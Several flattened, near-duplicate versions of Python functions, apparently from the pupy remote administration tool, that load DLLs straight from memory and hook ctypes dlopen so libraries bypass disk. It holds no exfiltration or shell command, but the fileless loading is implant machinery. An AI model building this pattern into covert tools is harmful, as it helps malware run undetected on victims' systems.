def load_pywintypes(): #loading pywintypes27.dll :-) global modules try: import pupy pupy.load_dll("pywintypes27.dll", modules["pywintypes27.dll"]) except Exception as e: print e pass
def load_pywintypes(): #loading pywintypes27.dll :-) global modules try: import pupy pupy.load_dll("pywintypes27.dll", modules["pywintypes27.dll"]) except Exception as e: dprint('Loading pywintypes27.dll.. failed: {}'.format(e)) pass
def load_dll(name, buf): if name in dlls: return True import pupy if hasattr(pupy, 'load_dll'): if pupy.load_dll(name, buf): dlls.add(name) return True return False
def _pupy_dlopen(name, *args, **kwargs): pupy.dprint('ctypes dlopen: {}', name) name = _pupy_make_library_path(name) pupy.dprint('ctypes dlopen / pupyized: {} (system {})', name, ctypes._system_dlopen) handle = pupy.load_dll(name) if handle: return handle else: pupy.dprint('load_dll by name ({}) failed', name) return ctypes._system_dlopen(name, *args, **kwargs)
def pupy_dlopen(name, *args, **kwargs): dprint("ctypes dlopen: {}".format(name)) from_pupy = False name = pupy_make_path(name) dprint("ctypes dlopen / pupyized: {}".format(name)) if name in modules: if hasattr(_memimporter, 'load_library'): try: return _memimporter.load_library(modules[name], name) except: pass elif hasattr(pupy, 'load_dll'): try: return pupy.load_dll(name, modules[name]) except: pass if not from_pupy: return ctypes._system_dlopen(name, *args, **kwargs)
def pupy_dlopen(name, *args, **kwargs): dprint("ctypes dlopen: {}".format(name)) name = pupy_make_path(name) dprint("ctypes dlopen / pupyized: {}".format(name)) if name in modules: if hasattr(_memimporter, 'load_library'): try: library = _memimporter.load_library(modules[name], name) del modules[name] return library except: pass elif hasattr(pupy, 'load_dll'): try: library = pupy.load_dll(name, modules[name]) del modules[name] return library except: pass return ctypes._system_dlopen(name, *args, **kwargs)